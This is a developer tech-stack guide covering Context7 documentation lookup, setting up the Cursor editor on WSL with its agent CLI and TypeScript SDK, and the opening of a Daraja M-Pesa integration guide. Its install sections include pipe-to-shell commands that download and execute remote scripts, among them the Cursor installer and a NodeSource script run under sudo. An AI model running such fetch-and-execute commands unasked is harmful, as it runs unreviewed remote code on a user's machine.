llms.txt source /llmstxt/<source>
Package source /packages/<name> or /npm/<name>
Uploaded docs /docs/<name>
Pinned version /vercel/next.js/v16.2.9 or /vercel/next.js@v16.2.9

IDs move. A moved ID returns HTTP 301 library_redirected with a redirectUrl. The API follows it for you, but update stale IDs in rules (see the table below).

Prompt shortcuts


Scoping the query

The query (plus the optional language) is your only control over what comes back.

Session hygiene:


Adding private or your own libraries

Public library (free, anyone can do it): paste a public GitHub URL at context7.com/add-library, or use POST /api/v2/add/repo/github. Context7 indexes .md, .mdx, .markdown, .rst, .txt and .ipynb. It generates docs from source code only when a repo has almost no docs. After that it auto-refreshes based on popularity. The Context7 GitHub Action triggers a refresh on every push.

Own it: claim the library (howto/claiming-libraries) for an admin panel, versions and higher refresh limits. Then commit a context7.json at the repo root:

{
  "$schema": "https://context7.com/schema/context7.json",
  "projectTitle": "codeAmani Tech Stack",
  "description": "Integration guides and conventions for the codeAmani stack",
  "folders": ["docs"],
  "excludeFolders": ["**/archive", "node_modules"],
  "excludeFiles": ["CHANGELOG.md"],
  "rules": ["Use Stripe by default; M-Pesa only for Kenya-targeted projects"],
  "previousVersions": [{ "tag": "v1.0.0" }]
}

excludeFolders always beats folders. projectTitle can be up to 100 characters and description up to 500, and both are moderated (no promotional or agent-instruction text).

Private sources (Pro or Enterprise only): in the teamspace Sources tab, add GitHub, GitLab, Bitbucket, any Git URL, Confluence, or OpenAPI. The API also takes PDF/DOCX uploads (50 MB per file, up to 50 files / 200 MB), llms.txt, websites and Notion. Tick Generate docs for code-only repos. Parsing costs $5 per 1M tokens. Only Owners and Admins can add, refresh or remove sources. Private libraries are queried with the same two tools, through a key that belongs to the teamspace.

Teamspace controls (Pro and Enterprise):


REST API and SDK (for codeAmani tooling)

curl -G "https://context7.com/api/v2/context" \
  -H "Authorization: Bearer $CONTEXT7_API_KEY" \
  --data-urlencode "libraryId=/vercel/next.js" \
  --data-urlencode "query=How to add a proxy that redirects unauthenticated users" \
  --data-urlencode "type=json"

GET /api/v3/search?query=…&library=Next.js&library=OpenAI&language=TypeScript picks up to four libraries for you in a single call. It returns 404 no_documentation_found when nothing matches, which you should treat as an empty result.

TypeScript (@upstash/context7-sdk@0.5.1). The full runnable file is examples/sdk-fetch-docs.mts.

import { Context7, Context7Error } from "@upstash/context7-sdk";

const client = new Context7(); // reads CONTEXT7_API_KEY; 30s timeout + retries on 408/425/429/5xx by default

const libs = await client.searchLibrary("app router caching", "Next.js");
const nextjs = libs.find((l) => l.id === "/vercel/next.js") ?? libs[0];
const text = await client.getContext("app router caching with fetch", nextjs.id, { type: "txt" });

Errors are thrown as Context7Error, with status, code, requestId, rateLimit and retryable. client.search(query, { libraries, version, language }) wraps /api/v3/search. For Vercel AI SDK agents, @upstash/context7-tools-ai-sdk provides resolveLibraryId and queryDocs tools plus a ready-made Context7Agent.


Documentation Policy (this repo's CLAUDE.md)

The tech-stack CLAUDE.md makes Context7 mandatory:

## Documentation Policy

When implementing features using any external library or service:

1. Use the **Context7 MCP** tool `resolve-library-id` to find the library
2. Use `query-docs` to fetch current docs for the specific API you need
3. Write code that matches the fetched documentation exactly
4. Never use remembered API patterns if they differ from fetched docs

As of 4.4.4 the policy is still accurate: both tool names are current. It doesn't mention language. Passing language: "TypeScript" matches the "TypeScript everywhere" convention and gives better snippets, so it's worth adding the next time the convention block is edited. That edit belongs in CLAUDE.md, followed by npm run sync:conventions. How to apply the policy:

Slash command: /docs <library>

.claude/commands/docs.md:

Fetch current documentation for $ARGUMENTS.

1. Call `resolve-library-id` with libraryName "$ARGUMENTS" and a query describing the feature.
   Pick the candidate whose owner is the official project (not a fork), then reputation and snippets.
2. Call `query-docs` with that libraryId, one single-concept query, and language "TypeScript".
3. Summarize the key API shapes and any breaking changes mentioned.
Stop after 3 calls per tool.

Hook: nudge after installs

.claude/settings.json:

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "if echo \"$CLAUDE_TOOL_INPUT\" | grep -qE 'npm install|pnpm add|yarn add'; then echo 'Library installed: fetch its docs with Context7 before coding'; fi"
          }
        ]
      }
    ]
  }
}

Environment Variables

The only secret is the API key:

CONTEXT7_API_KEY=ctx7sk-...

Non-secret settings:

Setting Value Notes
Remote MCP URL (key) https://mcp.context7.com/mcp Authorization: Bearer <key>
Remote MCP URL (OAuth) https://mcp.context7.com/mcp/oauth HTTP only
REST base https://context7.com/api v2 search/context, v3 search
CTX7_TELEMETRY_DISABLED 1 Turns off anonymous ctx7 CLI telemetry
Local stdio flags --transport stdio|http, --port (default 3000), --api-key --api-key is rejected with --transport http

Keep CONTEXT7_API_KEY in .env.local or the Hazina vault, never in a committed .mcp.json literal or .vscode/settings.json (see ENV_MASTER.md).


Library IDs for the codeAmani stack (verified live 2026-10-20)

Library Context7 ID Note
Next.js /vercel/next.js
React /reactjs/react.dev /facebook/react now 301s to /react/react; react.dev ranks higher
Supabase /supabase/supabase, /supabase/supabase-js
Clerk /clerk/javascript, /clerk/clerk-docs
Drizzle ORM /drizzle-team/drizzle-orm-docs /drizzle-team/drizzle-orm has fewer snippets
Anthropic TS SDK /anthropics/anthropic-sdk-typescript The old /anthropic/anthropic-sdk-js is a 404
OpenAI /websites/developers_openai /openai/openai-node 301s here
Stripe Node /stripe/stripe-node Also /websites/stripe
Tailwind CSS /tailwindlabs/tailwindcss.com /tailwindlabs/tailwindcss 301s here
Zod /colinhacks/zod
Hono /honojs/hono
Prisma /prisma/orm /prisma/prisma 301s here
Context7 itself /upstash/context7

codeAmani notes


Common Use Cases

Use Case Approach
New library integration resolve-library-id → query-docs (+ language)
Version migration Pinned ID + query "v2 to v3 migration"
Breaking changes query-docs with "breaking changes", then confirm in the vendor changelog
Correct TS types query-docs with "typescript types for X", language: "TypeScript"
Multi-library question in a script GET /api/v3/search with up to 4 library hints

Troubleshooting

Issue Fix
429 / blocked Free plan cap reached (1,000 calls a month). Authenticate, or wait for the 20 daily bonus calls, or upgrade
401 Unauthorized The key must start with ctx7sk. Remote uses a Bearer header, stdio uses --api-key
Plugin ignores my key Expected: the plugin uses OAuth only. Use ctx7 setup or a manual entry for keys
301 library_redirected Use redirectUrl and update stored IDs
Library not found Try the official name and punctuation, or find the ID on context7.com
Wrong or outdated docs Check the ID's owner (forks rank high), then pin a version /org/project/vX.Y.Z
Local server timeouts on Windows cmd /c npx …, or switch to remote
ERR_MODULE_NOT_FOUND Use @upstash/context7-mcp@latest, or bunx/deno
ctx7 fails to start It needs Node 22.13 or newer (the MCP server needs 20.18.1 or newer)
Connectivity curl https://mcp.context7.com/ping; claude mcp list; claude mcp logs context7
get-library-docs not found It was renamed to query-docs in v4
Duplicate tools You installed both the plugin and a manual or ctx7 entry. Keep one

Best practice: pair Context7 with the CLAUDE.md Documentation Policy so that looking up docs before implementing is mandatory, not optional.

Official docs:

Cursor Integration Guide

Technology: cursor · Category: tooling · Last reviewed: 2026-09-27

Source: https://tech-stack.codeamanilabs.org/guide/cursor

Insight:

Cursor is a VS Code fork built around an agent, not an autocomplete plugin — Tab, Ctrl+K inline edit, and a multi-file Agent all share one index of your repo. On Windows the whole experience hinges on one setup decision: install Cursor on Windows, keep the repo on the Linux side of WSL, and let the anysphere.remote-wsl extension run the extension host, terminal, and agent inside Ubuntu — otherwise every command the agent runs crosses the 9P boundary and crawls. For codeAmani it needs no new config file: Cursor reads CLAUDE.md exactly the way it reads AGENTS.md and always applies it, so this repo's conventions are already the agent's rules.

 ██████╗██╗   ██╗██████╗ ███████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔══██╗██╔════╝██╔═══██╗██╔══██╗
██║     ██║   ██║██████╔╝███████╗██║   ██║██████╔╝
██║     ██║   ██║██╔══██╗╚════██║██║   ██║██╔══██╗
╚██████╗╚██████╔╝██║  ██║███████║╚██████╔╝██║  ██║
 ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝

Cursor Integration Guide

Focus: Using Cursor as the day-to-day editor for a WSL Ubuntu dev box driven from Windows — the remote-WSL connection, the three AI surfaces (Tab, Ctrl+K, Agent), rules that reuse this repo's CLAUDE.md, MCP servers, the agent CLI, and scripting the agent from code with the Cursor TypeScript SDK (@cursor/sdk). Grounded in cursor.com/docs; reviewed 2026-09-27.

Overview

Cursor is an AI code editor from Anysphere, built as a fork of VS Code. Because it's a fork, everything you know about VS Code still holds — keybindings, settings JSON, the command palette, the extension host model, and remote development. What's bolted on is a coding agent that shares one index of your codebase across three distinct surfaces.

The three surfaces are worth separating in your head, because they behave differently and honour different config:

Surface Shortcut Scope Reads rules?
Tab Tab to accept Autocomplete + multi-line + cross-file jumps No
Inline edit (Cmd-K) Ctrl+K (Win/Linux), Cmd+K (Mac) The selection you highlighted No
Agent Ctrl+I / Ctrl+L Whole repo, multi-file, runs terminal commands Yes
agent CLI terminal Whole repo, headless-capable, CI-friendly Yes
@cursor/sdk your TypeScript Local tree or cloud VM, programmatic Yes (local: with settingSources)

And it is a distinct product from the two neighbours already documented here:

Cursor VS Code Visual Studio
What it is VS Code fork, agent-first Microsoft's editor Microsoft's full Windows IDE
Extension registry Open VSX via Cursor's marketplace proxy Microsoft Marketplace VSIX / NuGet
WSL extension anysphere.remote-wsl (first-party rebuild) ms-vscode-remote.remote-wsl n/a — Windows-native
Agent config .cursor/rules/*.mdc, AGENTS.md, CLAUDE.md per-extension per-extension
flowchart LR
  A["Your repo"] --> B["Cursor's codebase index"]
  B --> C["Tab<br/>autocomplete + jumps"]
  B --> D["Ctrl+K<br/>inline edit on selection"]
  B --> E["Agent<br/>multi-file + terminal"]
  B --> F["agent CLI<br/>terminal + CI"]
  G[".cursor/rules/*.mdc<br/>AGENTS.md · CLAUDE.md"] --> E
  G --> F
  H[".cursor/mcp.json<br/>MCP servers"] --> E
  H --> F
  I[".cursorignore"] --> B

See also: wsl/ for the WSL platform itself (install, .wslconfig, the filesystem rule, systemd) and visual-studio/ for the unrelated .NET IDE. This guide only covers Cursor.

Official Documentation

Resource URL
Docs home https://cursor.com/docs
Quickstart https://cursor.com/docs/get-started/quickstart
Rules (.cursor/rules, AGENTS.md) https://cursor.com/docs/rules
MCP in Cursor https://cursor.com/docs/mcp
CLI install https://cursor.com/docs/cli/installation
Agents Window (Cursor 3) https://cursor.com/docs/agent/agents-window
Ignore file reference https://cursor.com/docs/reference/ignore-file
TypeScript SDK https://cursor.com/docs/sdk/typescript
Download https://cursor.com/download
Machine-readable sitemap https://cursor.com/llms.txt

Every docs page has a .md twin — append .md to any URL (https://cursor.com/docs/rules.md) to get clean markdown. https://cursor.com/llms.txt lists all of them.


Install

Install the editor on Windows, not inside the distro. Cursor is a GUI app; the Linux side only ever runs its headless server.

# 1. Editor — download the Windows .exe from https://cursor.com/download and run it.
#    (macOS: .dmg · Linux: apt/dnf repo or AppImage)

# 2. CLI agent — run this INSIDE your WSL Ubuntu shell
curl https://cursor.com/install -fsS | bash
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
agent --version
# CLI on native Windows PowerShell (only if you also want it outside WSL)
irm 'https://cursor.com/install?win32=true' | iex

The CLI's install docs list its supported targets as "macOS, Linux and Windows (WSL)" — WSL is a first-class install target for the agent binary even though the editor is Windows-native.


Cursor + WSL Ubuntu

This is the part with no official docs page, so it's where most of the time gets lost. The mechanism is inherited wholesale from VS Code Remote: the UI runs on Windows, a server runs inside the distro, and everything that touches your code — extension host, language servers, integrated terminal, and the agent's shell commands — executes on the Linux side.

flowchart TB
  subgraph WIN["Windows"]
    U["Cursor UI<br/>renderer + Tab client"]
    X["UI extensions<br/>themes, keymaps"]
  end
  subgraph LIN["WSL · Ubuntu"]
    S["Cursor server<br/>~/.cursor-server"]
    W["Workspace extensions<br/>ESLint, Prettier, Tailwind"]
    T["Integrated terminal<br/>bash · node · pnpm · git"]
    R["Your repo<br/>/home/you/code/app"]
  end
  U <-->|"anysphere.remote-wsl"| S
  S --> W
  S --> T
  T --> R
  W --> R
  R -.->|"AVOID: /mnt/c crossing<br/>9P protocol, ~20x slower"| WIN

1. Put the repo on the Linux filesystem

Non-negotiable, and the single biggest performance lever (see wsl/ §5):

# GOOD — native ext4, full speed
mkdir -p ~/code && cd ~/code
git clone git@github.com:codeAmani-Labs/your-app.git
cd your-app

# BAD — /mnt/c/... crosses the 9P boundary on every stat(), and the agent
# stats a LOT. npm install and next dev will crawl.

2. Set the distro Cursor will attach to

Cursor connects to the default WSL distribution:

wsl --list --verbose
wsl --set-default Ubuntu-24.04

3. Connect

Three routes, all equivalent:

# From a WSL shell — needs the PATH shim from step 4
cd ~/code/your-app
cursor .

On first connect Cursor prompts to install anysphere.remote-wsl — Cursor's own rebuild of the WSL extension. Accept it. It installs the server into ~/.cursor-server inside the distro. Cursor ships first-party Anysphere replacements for Microsoft-Marketplace-only extensions precisely because Cursor's marketplace is backed by Open VSX, and ms-vscode-remote.remote-wsl is not on Open VSX.

4. The cursor shell shim

cursor . from inside WSL is the fastest way in, but the shim lives in the Windows install and isn't on the Linux PATH by default:

# ~/.bashrc — adjust <WINUSER> to your Windows username
export PATH="$PATH:/mnt/c/Users/<WINUSER>/AppData/Local/Programs/cursor/resources/app/bin"
source ~/.bashrc
cd ~/code/your-app && cursor .          # opens Windows Cursor, attached to WSL
cursor --disable-extensions             # bisect a slow/conflicting extension

5. Verify you are actually remote

Cheap check, and worth doing before you blame the agent for anything:

# In Cursor's integrated terminal (Ctrl+`)
uname -a          # expect: Linux ... microsoft-standard-WSL2
pwd               # expect: /home/you/code/your-app  — NOT /mnt/c/...
which node        # expect: /home/you/.nvm/... or /usr/bin/node — NOT /mnt/c/...

The status bar should read WSL: Ubuntu-24.04. If which node resolves to /mnt/c/..., Windows binaries are leaking onto the Linux PATH via interop and the agent will invoke node.exe across the filesystem boundary — the classic 9P thrashing symptom. Install Node inside the distro:

curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt install -y nodejs
node -v && npm -v

Or drop appendWindowsPath = false into /etc/wsl.conf and restart the distro to stop Windows PATH inheritance entirely.

6. Install extensions on the right side

Same split as VS Code: UI extensions (themes, keymaps) install on Windows; workspace extensions (ESLint, Prettier, Tailwind IntelliSense, the TypeScript server) must be installed in the WSL: Ubuntu scope. Open the Extensions panel (Ctrl+Shift+X) while connected and look for the Install in WSL: Ubuntu-24.04 button. An ESLint installed only on the Windows side will silently lint nothing.

7. Cursor 3: use the Editor window, not the Agents Window

Cursor 3 (released 2 April 2026) added the Agents Window — an agent-first shell for running parallel local/cloud agents across repos. It supports local, cloud, and remote SSH environments; WSL connections are not supported there yet. If you land in the Agents Window and see "Extension 'WSL' is required to open the remote window", switch back:

The classic editor is also the right choice when you want VS Code extensions and split panes, which is exactly the Next.js/Tailwind workflow.

WSL troubleshooting

Symptom Cause / fix
Extension 'WSL' is required to open the remote window You're in the Agents Window — it can't do WSL yet. Switch to the editor (Open IDE).
Everything is slow, disk pegged Repo on /mnt/c, or Windows binaries on the Linux PATH. Move to ~/code; set appendWindowsPath = false.
cursor: command not found in WSL Add the Windows resources/app/bin to PATH (step 4).
Connects to the wrong distro wsl --set-default Ubuntu-24.04, then reconnect.
Extension "does nothing" Installed on the Windows side only — reinstall into the WSL: Ubuntu scope.
Agent prompts time out only in WSL windows Known anysphere.cursor-agent-exec extension-host issue in remote windows. Reload the window; fall back to the agent CLI in the integrated terminal, which is unaffected.
Remote server wedged Close the window, wsl --shutdown from PowerShell, reopen. Nuke ~/.cursor-server to force a clean server reinstall.

The three AI surfaces

Tab — autocomplete that moves

Grey ghost text ahead of the caret. Tab accepts, Esc rejects, Ctrl+→ accepts word-by-word. Two behaviours worth knowing:

Toggle it from the Tab status indicator (bottom-right): snooze for a duration, disable globally, or disable per file extension — turning it off for markdown and json is the usual first move.

Ctrl+K — inline edit on a selection

1. Select the code
2. Ctrl+K  (Cmd+K on Mac)
3. "Convert this to a server action and validate the body with zod"
4. Enter → applied in place; type a follow-up and Enter again to refine
5. Alt+Enter switches to question mode instead of edit mode

Ctrl+L on a selection promotes it into Agent with that code as context — the escape hatch when a "quick edit" turns out to be multi-file.

Agent — the multi-file worker

Ctrl+I opens the panel. Four modes, cycled with Shift+Tab (or Ctrl+. for the menu):

Mode Use for Edits files?
Agent Building, refactoring, fixing Yes
Ask Understanding architecture No (read-only)
Plan Multi-file features you want to review first Yes, after you approve the plan
Debug Bugs needing runtime evidence Yes

Ctrl+/ cycles models. Hover any prior message → Restore Checkpoint rolls the working tree back to that point. Queue follow-ups while it works; drag to reorder. Custom subagents are markdown files in .cursor/agents/.

When connected to WSL, every terminal command the Agent runs executes inside Ubuntu against your Linux toolchain. That's the whole point of the setup: pnpm dev, npx supabase, psql, and git all behave the way CI does.


Rules — and why codeAmani needs almost none

Cursor has four rule sources, applied in precedence order Team → Project → User:

Source Where Scope
Project rules .cursor/rules/*.mdc Version-controlled, glob-scoped
AGENTS.md / CLAUDE.md repo root Always applied, every conversation
User rules Cursor Settings, or ~/.cursor/rules Your machine / your account
Team rules Cursor dashboard Team + Enterprise plans

The one fact that saves you a file: Cursor reads CLAUDE.md the same way it reads AGENTS.md, picks it up automatically from the project root, and applies it to every conversation regardless of alwaysApply frontmatter. This repo already has a CLAUDE.md full of conventions — TypeScript everywhere, named exports, execFileSync(cmd, [args]), Stripe-by-default payments, webhook signature verification. Cursor is already reading it. Do not duplicate it into a rules file; duplication is how the two drift.

Use .cursor/rules/*.mdc only for the thing CLAUDE.md can't do: glob-scoped rules.

---
globs: app/**/*.tsx, app/**/*.ts
alwaysApply: false
---

- Server Components by default. Add "use client" only for interactivity.
- Never import lib/stripe.ts or lib/supabase.ts from a client component —
  it drags the secret key into the bundle.
- Route handlers validate the body with zod before touching the database.
- Follow the file layout in CLAUDE.md: app/api/stripe/*, app/api/webhooks/*.
---
globs: app/api/webhooks/**, app/api/mpesa/**
alwaysApply: false
---

- Verify the signature BEFORE parsing or trusting the payload
  (Stripe signing secret; Svix for Clerk; callback validation for M-Pesa).
- Read the raw body — never a pre-parsed JSON object.
- Handlers are idempotent: dedupe on the provider's event id.

Frontmatter drives when a rule loads:

alwaysApply description globs Behaviour
true — — Always included
false — provided Auto-attached when a matching file is in context
false provided — Agent pulls it in when the description looks relevant
false — — Only when you @-mention it

Rule files must use .mdc. A .md file inside .cursor/rules/ is silently ignored. Create them with /create-rule in chat rather than by hand.

.cursorrules is legacy. The single root-level .cursorrules file still works but is documented as deprecated — migrate its contents into a .cursor/rules/*.mdc rule set to Always Apply, then delete it. If you're starting today, skip it entirely.

Rules apply to Agent only. Not to Tab, not to inline edit, not to Bugbot PR reviews. Style conventions you actually want enforced belong in ESLint/Prettier, which run in the WSL extension host and gate the build.

.cursorignore

Sits next to .gitignore (which Cursor already respects) and blocks files from indexing and from the agent:

node_modules/
.next/
dist/
*.min.js
.env*
reports/
packages/dashboard/lib/content.generated.json

.env files, .git/, and lock files are excluded by default. Treat it as a noise filter, not a security boundary — Cursor's own docs say so, and terminal commands plus MCP tools run outside Cursor's file-access controls and can still read ignored files. Secrets belong in .env.local and Hazina, never in the tree.


MCP servers in Cursor

Cursor speaks MCP with three transports — stdio (local, Cursor spawns it), SSE, and Streamable HTTP (remote, OAuth) — and supports tools, prompts, resources, roots, elicitation, and the MCP Apps UI extension.

Config Path Scope
Project .cursor/mcp.json This repo
Global ~/.cursor/mcp.json Everywhere
{
  "mcpServers": {
    "context7": {
      "command": "npx",
      "args": ["-y", "@upstash/context7-mcp"]
    },
    "tech-stack": {
      "command": "node",
      "args": ["${workspaceFolder}/packages/mcp-server/dist/index.js"]
    },
    "supabase": {
      "url": "https://mcp.supabase.com/mcp",
      "headers": { "Authorization": "Bearer ${env:SUPABASE_ACCESS_TOKEN}" }
    }
  }
}

Interpolation resolves in command, args, env, url, and headers: ${env:NAME}, ${userHome}, ${workspaceFolder}, ${workspaceFolderBasename}, ${pathSeparator} / ${/}.

WSL gotcha: when the window is remote, ${userHome} and ~/.cursor/mcp.json resolve to the Linux home, and command runs in the Linux shell. A stdio server configured with a Windows path (C:\... or node.exe) will not start. Install MCP server dependencies inside the distro and use POSIX paths. ${workspaceFolder} is the folder containing .cursor/mcp.json, so project-scoped config travels correctly.

For servers that hand you a fixed Client ID instead of supporting dynamic registration (Figma, Linear), add a static auth block:

{
  "mcpServers": {
    "figma": {
      "url": "https://mcp.figma.com/mcp",
      "auth": { "CLIENT_ID": "your-client-id", "scopes": ["read"] }
    }
  }
}

See MASTER_MCP_CONFIG.md for the canonical codeAmani server list — the same mcpServers shape drops straight into .cursor/mcp.json.


The agent CLI

Same agent, same modes, in a terminal — which in this setup means inside WSL, so it inherits the Linux toolchain automatically. It also sidesteps the remote extension-host flakiness entirely.

agent                                     # interactive session
agent "refactor lib/stripe.ts to use the 2026 Checkout API"
agent --mode=plan "add M-Pesa STK push to the checkout route"
agent --mode=ask "where does the webhook signature get verified?"

agent ls            # list past chats
agent resume        # resume the latest
agent --continue    # continue the previous session
agent update        # upgrade in place

Headless / CI:

export CURSOR_API_KEY=...                 # from https://cursor.com/dashboard/api
agent -p "review these changes for security issues" --output-format text
agent -p --force "add JSDoc to lib/domain/dispatch.ts"   # --force = apply, not propose

Without --force, print mode only proposes changes. /sandbox (or --sandbox enabled|disabled) controls command execution and network access; when a command needs sudo, the CLI shows a masked prompt and pipes the password straight to sudo over IPC — the model never sees it. Prefix a message with & to hand the conversation off to a Cloud Agent.

Terminal config lives at ~/.cursor/ in the distro; system-wide hooks at /etc/cursor/hooks.json on Linux/WSL. If Shift+Enter doesn't insert a newline in Windows Terminal, run /setup-terminal, or use Ctrl+J — the universal fallback that survives tmux and SSH.


Cursor TypeScript SDK — @cursor/sdk

The same agent that runs in the IDE, the agent CLI, and Cursor Web is callable from your own TypeScript. Reach for it when the agent should be triggered by code, not a person: CI auto-fix bots, bug-triage workers, code-review passes, repo-wide codemods, or an agent embedded in a product. Source: cursor.com/docs/sdk/typescript (.md twin available); runnable examples in the Cursor Cookbook.

Two runtimes, one interface

Runtime Where the agent loop runs Files come from Use when
Local (local: {...}) Inline in your Node process Your disk (local.cwd) Dev scripts, CI checks against a checked-out tree
Cloud (cloud: {...}) Isolated Cursor-hosted VM Repo cloned into the VM Caller has no checkout, many agents in parallel, runs must survive disconnects, auto-PRs

"Local" is the agent loop, not the model. Inference always goes through Cursor's hosted models in both modes. Local only keeps files and tool execution on your machine.

The runtime is picked by which key you pass to Agent.create(). Both use the same CURSOR_API_KEY. Local IDs look like agent-<uuid>, cloud IDs like bc-<uuid>, and Agent.resume(id) auto-detects the runtime from the prefix.

Concept What it is
Agent Durable container: conversation state, workspace config, settings. Survives many prompts.
Run One prompt submission (agent.send()), with its own stream, status, result, and cancel.
SDKMessage Normalized stream event, same shape for both runtimes.

Install + auth

npm install @cursor/sdk            # scoped — the bare "cursor/sdk" does not exist
export CURSOR_API_KEY="..."        # user key: cursor.com/dashboard/api
                                   # service-account key: cursor.com/dashboard/team-settings

Quick start — local agent, streamed

import { Agent } from "@cursor/sdk";

await using agent = await Agent.create({
  apiKey: process.env.CURSOR_API_KEY!,
  model: { id: "composer-2.5" },
  local: { cwd: process.cwd() },
});

const run = await agent.send("Find the bug in lib/stripe.ts");

for await (const event of run.stream()) {
  switch (event.type) {
    case "assistant":
      for (const block of event.message.content) {
        if (block.type === "text") process.stdout.write(block.text);
      }
      break;
    case "tool_call":
      console.error(`[tool] ${event.name}: ${event.status}`);
      break;
  }
}

// Same agent, conversation context carries over.
const fix = await agent.send("Fix it and add a regression test");
const result = await fix.wait();
console.log(result.status, result.result, result.usage?.totalTokens);

⚠ Headless means auto-approve. A default local agent runs shell, edit, and write tool calls with no human in the loop. Gate it before pointing it at anything real. Options are listed under Guardrails below.

Cloud agent that opens a PR

import { Agent } from "@cursor/sdk";

const agent = await Agent.create({
  apiKey: process.env.CURSOR_API_KEY!,
  model: { id: "composer-2.5" },
  name: "dependabot-triage",
  cloud: {
    repos: [{ url: "https://github.com/codeAmani-Labs/your-app", startingRef: "main" }],
    autoCreatePR: true,
    metadata: { ticket_id: "ENG-456" },            // your own tags, returned by Agent.list/get
    envVars: { STAGING_API_TOKEN: process.env.STAGING_API_TOKEN! }, // encrypted, deleted with the agent
  },
});

const run = await agent.send("Upgrade next to the latest 15.x patch and fix any type errors");
const result = await run.wait();
console.log(result.git?.branches[0]?.prUrl);

Guardrails for headless runs

Knob Scope What it does
tools: ["read", "grep", "glob", "ls"] local Allowlist built-in tools; [] = text-only
disallowedTools: ["shell"] local Deny list; deny wins over tools. "mcp" also removes custom tools, "task" disables subagents
local.sandboxOptions: { enabled: true } local Writes confined to cwd + temp; outbound network denied except hosts in .cursor/sandbox.json; bubblewrap on Linux/WSL
local.autoReview: true local Routes Shell/MCP/Fetch calls through the IDE's Auto-review classifier; blocked calls are denied, not escalated. Best-effort, not a security boundary
.cursor/hooks.json local + cloud File-based policy (beforeShellExecution, preToolUse, …). There is no programmatic hook callback
Cloud VM cloud Always isolated; sandboxOptions doesn't apply

tools, disallowedTools, and systemPrompt are not persisted, so pass them again on Agent.resume(). Stack the layers. A CI review bot should be read-only and sandboxed:

const reviewer = await Agent.create({
  apiKey: process.env.CURSOR_API_KEY!,
  model: { id: "composer-2.5" },
  tools: ["read", "grep", "glob", "ls"],
  local: { cwd: process.cwd(), sandboxOptions: { enabled: true }, settingSources: ["project"] },
});

settingSources: ["project"] makes the local agent load this repo's .cursor/ config, which includes rules, .cursor/mcp.json, and .cursor/agents/*.md. Without it, only inline config is loaded. Cloud agents always load project/team/plugins and ignore the field.

Custom tools — your functions, no MCP server

const agent = await Agent.create({
  apiKey: process.env.CURSOR_API_KEY!,
  model: { id: "composer-2.5" },
  local: {
    cwd: process.cwd(),
    customTools: {
      get_deploy_status: {
        description: "Current Vercel deployment status for a project.",
        inputSchema: {
          type: "object",
          properties: { project: { type: "string" } },
          required: ["project"],
        },
        annotations: { readOnlyHint: true },
        async execute({ project }) {
          const res = await fetch(`https://internal.example/deploys/${project}`);
          return await res.json();          // string | JSON | { content, isError?, structuredContent? }
        },
      },
    },
  },
});

Custom tools are registered as an MCP server named custom-user-tools, reach subagents, run in your process (so they can use anything your code can), and skip interactive approval. Treat each one like a public API route: validate args, and keep secrets in the closure, never in the return value. Local agents only; cloud rejects them.

MCP servers and subagents

await Agent.create({
  apiKey: process.env.CURSOR_API_KEY!,
  model: { id: "composer-2.5" },
  local: { cwd: process.cwd() },
  mcpServers: {
    context7: { type: "stdio", command: "npx", args: ["-y", "@upstash/context7-mcp"] },
    supabase: {
      type: "http",
      url: "https://mcp.supabase.com/mcp",
      headers: { Authorization: `Bearer ${process.env.SUPABASE_ACCESS_TOKEN!}` },
    },
  },
  agents: {
    "security-reviewer": {
      description: "Reviews diffs for secrets, injection, and missing webhook verification.",
      prompt: "Follow CLAUDE.md security rules. Report findings; do not edit.",
      model: "inherit",
    },
  },
});

Models, cost, and errors

Known limitations (as of SDK 1.0.x)


codeAmani notes


Troubleshooting

Issue Fix
Blank screen on startup Restart; on Windows run as administrator; Ctrl+Shift+P → Clear Editor History
Update stuck Ctrl+Shift+P → Cursor: Attempt Update, restart
Tab suggesting nothing Check the Tab status indicator — it may be snoozed or disabled for that file extension
A rule "isn't working" Rules apply to Agent only. Also confirm .mdc, not .md, and that globs actually match
MCP server won't start in a WSL window The command runs in the Linux shell — POSIX paths and Linux-installed deps only
Editor sluggish cursor --disable-extensions, then re-enable one at a time
Want the raw docs Append .md to any docs URL; full index at https://cursor.com/llms.txt

Official docs:

Daraja API (Safaricom M-Pesa) Integration Guide

Technology: daraja-api · Category: payments · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/daraja-api

Insight:

Daraja is M-Pesa — codeAmani's payment rail for Kenya-targeted projects (Stripe stays the default elsewhere), and there it's the primary rail. The non-negotiables: phone as 254… (no +), whole-KES amounts, a cached 1-hour token, HTTPS callbacks that answer fast, and idempotency on CheckoutRequestID. Daraja does not retry a callback your server missed, so a reconciliation job (STK Query / Transaction Status) is mandatory, not optional. Callbacks are unsigned: allowlist Safaricom's 12 gateway IPs. Keep "mpesa" and "safaricom" out of callback URLs, and expect C2B phone numbers to arrive masked.

██████╗  █████╗ ██████╗  █████╗      ██╗ █████╗
██╔══██╗██╔══██╗██╔══██╗██╔══██╗     ██║██╔══██╗
██║  ██║███████║██████╔╝███████║     ██║███████║
██║  ██║██╔══██║██╔══██╗██╔══██║██   ██║██╔══██║
██████╔╝██║  ██║██║  ██║██║  ██║╚█████╔╝██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚════╝ ╚═╝  ╚═╝

Daraja API (Safaricom M-Pesa) Integration Guide

Focus: Adding M-Pesa mobile money to Kenya-targeted codeAmani projects from Claude Code: STK Push, C2B, B2C, status queries, reversals, balance checks, and safe callback handling with the Safaricom Daraja API.

Overview

Daraja is Safaricom's developer platform for M-Pesa, Kenya's leading mobile money network. Its REST APIs cover:

Daraja runs only in Kenya. Its FAQ says M-Pesa in each Vodacom market is a separate provider with its own APIs.

Portal (Daraja 3.0, launched Nov 2025). The developer portal is self-service and lives at developer.safaricom.co.ke. API docs are at /apis/<ApiName> (for example /apis/MpesaExpressSimulate and /apis/CustomerToBusiness). Apps and keys are under /dashboard/myapps, go-live is at /dashboard/golive, and C2B URL deletion is at /dashboard/urlmanagement. Some links inside Safaricom's own docs still point at daraja.safaricom.co.ke, which does not resolve. Use developer.safaricom.co.ke instead. The API hosts are unchanged: sandbox.safaricom.co.ke and api.safaricom.co.ke.

Here's how the pieces fit together:

flowchart TD
